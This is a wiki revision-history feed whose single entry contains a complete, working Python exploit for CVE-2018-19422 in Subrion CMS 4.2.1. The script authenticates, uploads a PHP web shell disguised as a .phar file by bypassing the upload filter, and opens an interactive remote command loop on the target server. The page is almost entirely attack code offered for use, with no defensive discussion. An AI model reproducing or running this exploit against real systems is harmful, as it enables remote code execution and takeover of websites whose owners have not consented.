<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19422_Subrion_CMS_4.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-19422 Subrion CMS 4.2.1 任意文件上傳&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19422_Subrion_CMS_4.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19422_Subrion_CMS_4.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T07:05:38Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-19422_Subrion_CMS_4.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2889&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) # Date: 17/05/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://s...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19422_Subrion_CMS_4.2.1_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2889&amp;oldid=prev"/>
		<updated>2021-05-17T10:24:46Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) # Date: 17/05/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://s...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)&lt;br /&gt;
# Date: 17/05/2021&lt;br /&gt;
# Exploit Author: Fellipe Oliveira&lt;br /&gt;
# Vendor Homepage: https://subrion.org/&lt;br /&gt;
# Software Link: https://github.com/intelliants/subrion&lt;br /&gt;
# Version: SubrionCMS 4.2.1&lt;br /&gt;
# Tested on: Debian9, Debian 10 and Ubuntu 16.04&lt;br /&gt;
# CVE: CVE-2018-19422&lt;br /&gt;
# Exploit Requirements: BeautifulSoup library&lt;br /&gt;
# https://github.com/intelliants/subrion/issues/801&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import time&lt;br /&gt;
import optparse&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
&lt;br /&gt;
parser = optparse.OptionParser()&lt;br /&gt;
parser.add_option('-u', '--url', action=&amp;quot;store&amp;quot;, dest=&amp;quot;url&amp;quot;, help=&amp;quot;Base target uri http://target/panel&amp;quot;)&lt;br /&gt;
parser.add_option('-l', '--user', action=&amp;quot;store&amp;quot;, dest=&amp;quot;user&amp;quot;, help=&amp;quot;User credential to login&amp;quot;)&lt;br /&gt;
parser.add_option('-p', '--passw', action=&amp;quot;store&amp;quot;, dest=&amp;quot;passw&amp;quot;, help=&amp;quot;Password credential to login&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
options, args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
if not options.url:&lt;br /&gt;
    print('[+] Specify an url target')&lt;br /&gt;
    print('[+] Example usage: exploit.py -u http://target-uri/panel')&lt;br /&gt;
    print('[+] Example help usage: exploit.py -h')&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
url_login = options.url&lt;br /&gt;
url_upload = options.url + 'uploads/read.json'&lt;br /&gt;
url_shell = options.url + 'uploads/'&lt;br /&gt;
username = options.user&lt;br /&gt;
password = options.passw&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
&lt;br /&gt;
def login():&lt;br /&gt;
    global csrfToken&lt;br /&gt;
    print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')&lt;br /&gt;
    print('[+] Trying to connect to: ' + url_login)&lt;br /&gt;
    try:&lt;br /&gt;
        get_token_request = session.get(url_login)&lt;br /&gt;
        soup = BeautifulSoup(get_token_request.text, 'html.parser')&lt;br /&gt;
        csrfToken = soup.find('input',attrs = {'name':'__st'})['value']&lt;br /&gt;
        print('[+] Success!')&lt;br /&gt;
        time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
        if csrfToken:&lt;br /&gt;
            print(f&amp;quot;[+] Got CSRF token: {csrfToken}&amp;quot;)&lt;br /&gt;
            print(&amp;quot;[+] Trying to log in...&amp;quot;) &lt;br /&gt;
&lt;br /&gt;
            auth_url = url_login&lt;br /&gt;
            auth_cookies = {&amp;quot;loader&amp;quot;: &amp;quot;loaded&amp;quot;}&lt;br /&gt;
            auth_headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded&amp;quot;, &amp;quot;Origin&amp;quot;: &amp;quot;http://192.168.1.20&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;http://192.168.1.20/panel/&amp;quot;, &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;}&lt;br /&gt;
            auth_data = {&amp;quot;__st&amp;quot;: csrfToken, &amp;quot;username&amp;quot;: username, &amp;quot;password&amp;quot;: password}&lt;br /&gt;
            auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)&lt;br /&gt;
&lt;br /&gt;
            if len(auth.text) &amp;lt;= 7000:&lt;br /&gt;
                print('\n[x] Login failed... Check credentials')&lt;br /&gt;
                exit()&lt;br /&gt;
            else:&lt;br /&gt;
                print('[+] Login Successful!\n')&lt;br /&gt;
        else:&lt;br /&gt;
            print('[x] Failed to got CSRF token')&lt;br /&gt;
            exit()&lt;br /&gt;
&lt;br /&gt;
    except requests.exceptions.ConnectionError as err:&lt;br /&gt;
        print('\n[x] Failed to Connect in: '+url_login+' ')&lt;br /&gt;
        print('[x] This host seems to be Down')&lt;br /&gt;
        exit()&lt;br /&gt;
&lt;br /&gt;
    return csrfToken&lt;br /&gt;
&lt;br /&gt;
def name_rnd():&lt;br /&gt;
    global shell_name &lt;br /&gt;
    print('[+] Generating random name for Webshell...')&lt;br /&gt;
    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))&lt;br /&gt;
    time.sleep(1)  &lt;br /&gt;
    print('[+] Generated webshell name: '+shell_name+'\n')&lt;br /&gt;
&lt;br /&gt;
    return shell_name&lt;br /&gt;
&lt;br /&gt;
def shell_upload():&lt;br /&gt;
    print('[+] Trying to Upload Webshell..')&lt;br /&gt;
    try:&lt;br /&gt;
        up_url = url_upload&lt;br /&gt;
        up_cookies = {&amp;quot;INTELLI_06c8042c3d&amp;quot;: &amp;quot;15ajqmku31n5e893djc8k8g7a0&amp;quot;, &amp;quot;loader&amp;quot;: &amp;quot;loaded&amp;quot;}&lt;br /&gt;
        up_headers = {&amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;quot;, &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=---------------------------6159367931540763043609390275&amp;quot;, &amp;quot;Origin&amp;quot;: &amp;quot;http://192.168.1.20&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;http://192.168.1.20/panel/uploads/&amp;quot;}&lt;br /&gt;
        up_data = &amp;quot;-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;reqid\&amp;quot;\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;cmd\&amp;quot;\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;target\&amp;quot;\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;__st\&amp;quot;\r\n\r\n&amp;quot;+csrfToken+&amp;quot;\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;upload[]\&amp;quot;; filename=\&amp;quot;&amp;quot;+shell_name+&amp;quot;.phar\&amp;quot;\r\nContent-Type: application/octet-stream\r\n\r\n&amp;lt;?php system($_GET['cmd']); ?&amp;gt;\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\&amp;quot;mtime[]\&amp;quot;\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n&amp;quot;&lt;br /&gt;
        session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)&lt;br /&gt;
    &lt;br /&gt;
    except requests.exceptions.HTTPError as conn:&lt;br /&gt;
        print('[x] Failed to Upload Webshell in: '+url_upload+' ')&lt;br /&gt;
        exit()&lt;br /&gt;
&lt;br /&gt;
def code_exec():&lt;br /&gt;
    try:&lt;br /&gt;
        url_clean = url_shell.replace('/panel', '')&lt;br /&gt;
        req = session.get(url_clean + shell_name + '.phar?cmd=id')&lt;br /&gt;
&lt;br /&gt;
        if req.status_code == 200:&lt;br /&gt;
            print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')&lt;br /&gt;
            while True:&lt;br /&gt;
                cmd = input('$ ')&lt;br /&gt;
                x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')&lt;br /&gt;
                print(x.text)&lt;br /&gt;
        else:&lt;br /&gt;
            print('\n[x] Webshell not found... upload seems to have failed')&lt;br /&gt;
    except:&lt;br /&gt;
        print('\n[x] Failed to execute PHP code...')&lt;br /&gt;
&lt;br /&gt;
login()&lt;br /&gt;
name_rnd()&lt;br /&gt;
shell_upload()&lt;br /&gt;
code_exec()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>